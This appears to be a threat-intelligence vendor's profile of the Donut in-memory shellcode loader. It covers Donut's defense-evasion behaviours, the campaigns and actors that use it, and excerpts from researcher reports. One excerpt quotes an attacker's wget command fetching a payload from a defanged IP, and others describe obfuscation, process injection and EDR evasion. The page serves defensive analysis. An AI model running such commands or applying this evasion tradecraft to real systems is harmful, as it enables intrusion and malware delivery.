Loading malware…
Donut is an open-source Windows in-memory shellcode generation and loading framework used to package and execute payloads such as .NET assemblies, PE files, DLLs, and scripts directly from memory. It is widely used as a fileless execution component in intrusion chains rather than as a standalone final payload, and has appeared in campaigns delivering remote access trojans, infostealers, and other post-compromise tooling.
Donut generates position-independent shellcode that reflectively maps embedded payloads into memory and executes them without requiring normal on-disk installation. Reported use cases include loading native and managed Windows payloads, in-memory .NET assembly execution, and script-based launch paths including JavaScript, JScript, PowerShell, and Ruby. It has also been used to inject shellcode into target processes and to support execution through callback-based or thread-based launch mechanisms.
A notable characteristic of Donut is its emphasis on defense evasion. Documented behaviors include patching AMSI and Windows Lockdown Policy, interfering with process-termination-related native APIs, erasing in-memory references to payload files after reflective loading, and enabling fileless execution that reduces disk artifacts. In observed campaigns, threat actors have additionally wrapped or modified Donut-generated payloads with encryption, obfuscation, and staged loaders to hinder analysis and detection.
Donut has been observed across a broad range of operations, including phishing-delivered malware chains, DLL sideloading infections, ClickFix-style delivery, and post-exploitation activity by both criminal and state-linked actors. It has been used by multiple intrusion sets and malware delivery frameworks to launch payloads such as RATs, stealers, and C2 implants inside legitimate Windows processes. Because it is an open-source framework, its presence alone does not attribute an intrusion to a specific actor, but it is a common building block in modern Windows memory-resident tradecraft.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
9 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.
While they still leverage classic droppers like PureCrypter and Rust-based loaders running Donut shellcode, they have added a potent new tool to their arsenal: PowerLoader.
Donut is an opensource position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files, and dotNET assemblies. In this attack, Donut is used to decrypt and execute the Atlantida stealer inside RegAsm.exe process memory.
This decrypted payload is Donut (aka DonutLoader, aka donut_injector) shellcode – an open-source, in-memory loader.
The decrypted shellcode is a Donut loader -- a framework for generating position-independent shellcode from PE files, .NET assemblies, and other executable formats.
We decrypted these and found new malware, including DaveShell and Donut loader, which are two open source loaders being observed for first time in Tropic Trooper activity.
21 distinct techniques documented for this family, organized by ATT&CK tactic.
APT19 downloaded and launched code within a SCT file; APT32 used COM scriptlets to download Cobalt Strike beacons; APT37 used Ruby scripts to execute payloads; ArcaneDoor included the adversary executing command line interface (CLI) commands.
This research analyzes a ClickFix campaign leveraging the spoofed licensing-themed website canndelta.com to deliver the PureLogs stealer through malicious PowerShell commands.
Inside that file was Donut shellcode, an open-source tool capable of loading Windows payloads directly in memory
AppleSeed has the ability to use JavaScript to execute PowerShell. APT32 has used JavaScript for drive-by downloads and C2 communications. Astaroth uses JavaScript to perform its core functionalities.
The JavaScript file is obfuscated and embedded in a substantial amount of junk code... The script employs highly complex obfuscation techniques, including string array mapping, control flow flattening, and anti-tampering mechanisms...
Four-stage unpack chain. Custom byte-pair decoding, Xpress Huffman decompression, AES-256-CBC with rotating key context, ending in Donut shellcode.
The function scans for byte sequences and string signatures characteristic of Donut shellcode, then obfuscates them with a mask composed of 144, 204, and randomly generated uppercase characters to evade detection.
The dropper then retrieved what appeared to be a standard web font file with a .woff extension, the kind websites routinely use to load custom typefaces. Inside that file was Donut shellcode
The next stage involved retrieving Donut shellcode through a masqueraded .woff resource... By placing malicious content behind a font-looking path or extension, the attacker makes the payload request appear like a routine static web asset.
It first defines the necessary structures to launch C:\Windows\Syswow64\colorcpl.exe as a suspended process... and finally uses low-level ntdll.dll functions to perform process injection and execute the payload.
First, the hardcoded string is reversed... Then, the resulting string is decoded from Base64. Subsequently, a custom ROT cipher is applied.
Ironically, the actors used a malware protection product to execute the EDR killer to create an execution chain that would appear to be “safe” to other malware protection tools... leveraging kaba.exe, a renamed version of a legitimate Kaspersky executable
The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
Examples include: "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits," "During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads," and multiple malware families "use HTTP GET requests" or similar to download files/payloads.
69 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
70 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Shellcode-based loader/wrapper used to execute payloads reflectively in memory and maintain a fileless execution chain.
Donut is used as an in-memory shellcode loader that decrypts and maps the final RAT into memory without writing it to disk, while also patching AMSI, WLDP, and ETW in-process to reduce detection.
Shellcode used with Rust-based loaders as part of Fluffy Wolf delivery chains.
A shellcode generation and in-memory loading framework used here as the final-stage execution mechanism before unpacking the delivered payload in memory.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.